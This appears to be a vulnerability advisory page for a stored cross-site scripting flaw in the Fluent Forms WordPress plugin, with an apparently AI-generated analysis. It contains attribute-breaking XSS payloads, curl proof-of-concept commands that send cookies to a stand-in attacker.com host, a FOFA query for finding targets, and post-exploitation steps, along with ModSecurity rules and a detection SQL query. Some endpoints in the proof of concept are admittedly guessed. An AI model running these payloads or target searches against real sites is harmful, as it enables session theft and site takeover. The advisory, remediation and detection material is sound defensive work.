CVE Professor
/
All CVEs
CVE-2026-129138

CVE-2026-129138 — CWE-79

HIGH CVSS 7.2 NVD

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via context-insensitive SmartCode substitution in same-page payment confirmation messages in all versions up to, and including, 6.2.17 due to insufficient sanitization of the composed confirmation message. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the reusable Stripe hosted-checkout success URL that re-renders the stored submission. This requires the Pro Payments module with Stripe Hosted Checkout enabled (Embedded Checkout disabled) and a same-page confirmation message that places an {inputs.*} SmartCode inside an HTML attribute.

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via context-insensitive SmartCode substitution in same-page payment confirmation messages in all versions up to, and including, 6.2.17 due to insufficient sanitization of the composed confirmation message. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the reusable Stripe hosted-checkout success URL that re-renders the stored submission. This requires the Pro Payments module with Stripe Hosted Checkout enabled (Embedded Checkout disabled) and a same-page confirmation message that places an {inputs.*} SmartCode inside an HTML attribute.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-129138 is a Stored Cross-Site Scripting (Stored XSS) vulnerability (CWE-79) in the Fluent Forms WordPress plugin (versions up to and including 6.2.17).

The technical flaw lies in context-insensitive SmartCode substitution within the plugin's payment confirmation logic. Specifically:

1. Input Vector: The plugin allows administrators to configure "Same-page confirmation messages" for Stripe Hosted Checkout. These messages can contain "SmartCodes" (dynamic placeholders like {inputs.email} or {inputs.name}) that are replaced with user-submitted form data upon successful payment.
2. The Flaw: When the plugin renders the confirmation message on the success page, it performs a string replacement of the SmartCode with the raw user input. It fails to apply context-aware sanitization.
3. Critical Context: If the SmartCode is placed inside an HTML attribute (e.g., <div data-user="{inputs.name}">), the plugin does not properly escape HTML entities (such as " or ') or break out of the attribute context.
4. Persistence: The malicious payload is stored in the WordPress database (typically in the wp_fluentform_form_entries or related custom tables) as part of the form submission.
5. Trigger: The payload executes whenever any user (including administrators) visits the specific "reusable Stripe hosted-checkout success URL" that re-renders this stored submission.

CVSS Vector Analysis (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N):

  • PR:N (No Privileges Required): The attacker does not need an account to submit the form.

  • UI:N (No User Interaction): The victim does not need to click a link; the script executes automatically upon page load.

  • S:C (Scope Changed): The vulnerable component (the form plugin) is in a different security scope than the impacted component (the victim's browser session/cookies). This is characteristic of XSS.

  • C:L / I:L: Limited impact due to the nature of XSS (stealing cookies, session hijacking, defacement) rather than direct server compromise.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Identify Plugin: Use tools like wpscan or manual inspection of wp-content/plugins/fluentform/ to confirm the presence of Fluent Forms.
  • Check Version: Verify the version is ≤ 6.2.17.
  • Identify Configuration: The attacker must identify a form that uses Stripe Hosted Checkout (not Embedded) and has a same-page confirmation message configured with a SmartCode inside an HTML attribute.
  • Note:* This often requires guessing or finding the specific form ID and the success URL pattern. Fluent Forms typically uses URLs like ?fluentform_success=1&form_id=123 or similar query parameters. The attacker may need to brute-force form IDs or find a public form with this configuration.

    2. Exploitation

    The attacker submits a form entry where the field mapped to the SmartCode contains a payload designed to break out of the HTML attribute context.

    Illustrative Payload:
    If the confirmation message template is:

    <div class="success-msg" data-submitter="{inputs.name}">Thank you!</div>

    The attacker submits a form with the name field set to:

    " onmouseover="alert(document.cookie)"

    Or, for a more persistent exfiltration payload:

    " onerror="fetch('https://attacker.com/steal?c='+document.cookie)"

    PoC (cURL Example):
    Note: The exact endpoint and parameter names are illustrative. In a real scenario, the attacker would inspect the form's HTML to find the correct action URL and field names.

    # Step 1: Identify the form's action URL and field names
    # Assume the form is at https://target.com/contact/ and the success page is triggered by ?fluentform_success=1
    
    # Step 2: Submit the malicious payload
    curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "action=fluentform_submit" \
      -d "form_id=123" \
      -d "fluentform[inputs][name]=\" onerror=\"fetch('https://attacker.com/exfil?c='+document.cookie)\"" \
      -d "fluentform[inputs][email][email protected]" \
      -d "fluentform[inputs][message]=Test" \
      -d "fluentform[stripe_payment_intent]=pi_test_123" \
      -d "fluentform[stripe_signature]=valid_signature" \
      -d "fluentform[nonce]=abc123"

    Note: In a real attack, the attacker would need to handle Stripe's webhook or simulate a successful payment to trigger the "success" state. Since the CVE specifies "Stripe Hosted Checkout," the payment is processed by Stripe, and the success URL is redirected to. The attacker might need to complete a test payment or find a way to trigger the success page rendering without a real payment, depending on the plugin's logic. However, the CVE states "unauthenticated attackers," implying the form submission itself is the vector, and the success page is publicly accessible or accessible to any user.

    Alternative Scenario (More Likely for Unauthenticated):
    If the form is publicly accessible and the success page is rendered immediately after submission (or via a redirect), the attacker simply submits the form via the standard HTML form POST. The plugin stores the entry and redirects to the success URL, which renders the stored data.

    # Standard form submission
    curl -X POST "https://target.com/contact/" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "fluentform_id=123" \
      -d "fluentform[inputs][name]=\" onerror=\"fetch('https://attacker.com/exfil?c='+document.cookie)\"" \
      -d "fluentform[inputs][email][email protected]" \
      -d "fluentform[inputs][message]=Test"

    3. Post-Exploitation

  • Session Hijacking: The document.cookie exfiltration allows the attacker to steal the victim's session cookie. If the victim is an administrator, the attacker can log in as the admin.
  • Privilege Escalation: With admin access, the attacker can:
  • * Install malicious plugins or themes (webshells). * Modify site content. * Access sensitive data in the database. * Deface the website.
  • Persistence: The malicious entry remains in the database, so the XSS will trigger every time the success page is loaded by any user.
  • 🌍 Real World Impact

  • Confidentiality (Low): Attackers can steal session cookies, CSRF tokens, and other sensitive data from the victim's browser. If the victim is an admin, this leads to full site compromise.
  • Integrity (Low): Attackers can modify the DOM, inject malicious scripts, or deface the page. They can also manipulate form data or redirect users to phishing sites.
  • Availability (None): The vulnerability does not directly cause a denial of service.
  • Practical Consequences:
  • * Admin Account Compromise: If an admin visits the success page, their session is hijacked. This is the most severe outcome. * Malware Distribution: Attackers can inject scripts that download malware to visitors' machines. * Phishing: Attackers can modify the page to display fake login forms or warnings. * Reputation Damage: Defacement or malware distribution harms the site's reputation.

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: All versions up to and including 6.2.17.
  • Recommendation: Upgrade to the latest version of Fluent Forms (≥ 6.2.18 or later, as per vendor release notes). The vendor has likely implemented proper context-aware escaping (e.g., using esc_attr() or esc_html() in PHP) for SmartCode substitutions.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Disable Same-Page Confirmation: If possible, configure the form to use a separate success page or redirect to a static thank-you page that does not render user-submitted data.
  • Remove SmartCodes from HTML Attributes: Edit the confirmation message template to avoid placing {inputs.} SmartCodes inside HTML attributes. Use them only in text content, and ensure the plugin escapes them for HTML context.
  • Disable Stripe Hosted Checkout: If not strictly required, disable the Stripe Hosted Checkout module to prevent the specific success URL from being generated.
  • 3. WAF/ModSecurity Rules

    A WAF can detect and block common XSS payloads in form submissions.

    ModSecurity Rule Example:

    SecRule ARGS:fluentform/inputs/name "@rx \"\s*on\w+\s*=" "id:100001,phase:2,deny,status:403,msg:'XSS Detected in Fluent Forms Input',log"
    SecRule ARGS:fluentform/inputs/name "@rx <script" "id:100002,phase:2,deny,status:403,msg:'XSS Detected in Fluent Forms Input',log"

    Note: WAFs are not a complete solution and can be bypassed. They should be used as a defense-in-depth measure.

    4. Detection (IoCs)

  • Web Server Logs: Look for POST requests to the form endpoint with suspicious payloads in the fluentform[inputs][name] (or other fields) parameter.
  • * Example: POST /contact/ HTTP/1.1 with body containing onerror=, onmouseover=, <script>, or javascript:.
  • Database: Query the wp_fluentform_form_entries table for entries containing XSS payloads.
  • SELECT * FROM wp_fluentform_form_entries WHERE entry_data LIKE '%onerror=%' OR entry_data LIKE '%<script%';
  • Browser Console: Victims may see JavaScript errors or unexpected network requests to attacker-controlled domains.
  • ⚠️ Urgency

  • CVSS Score: 7.2 (HIGH)
  • CISA KEV: No
  • Exploit Complexity: Low (PR:N, UI:N)
  • Priority: HIGH
  • Recommendation: Patch immediately. While not in CISA KEV, the low complexity and unauthenticated nature make this a high-risk vulnerability. Any site with Fluent Forms ≤ 6.2.17 and Stripe Hosted Checkout enabled should be considered at risk. If an admin visits the success page, the site is likely compromised.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="fluentform"
CVSS Score
7.2 / 10 · CVSS HIGH
Weakness Types (CWE)
Related CVEs
7.2
CVE-2026-116760
The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for W
6.5
CVE-2026-144035
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in A.H.C. W
6.5
CVE-2026-125772
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VillaThe
6.5
CVE-2026-128324
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Melapres
6.5
CVE-2026-130645
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ILLID Ad
6.5
CVE-2026-131735
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HTMega H
6.5
CVE-2026-135946
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPres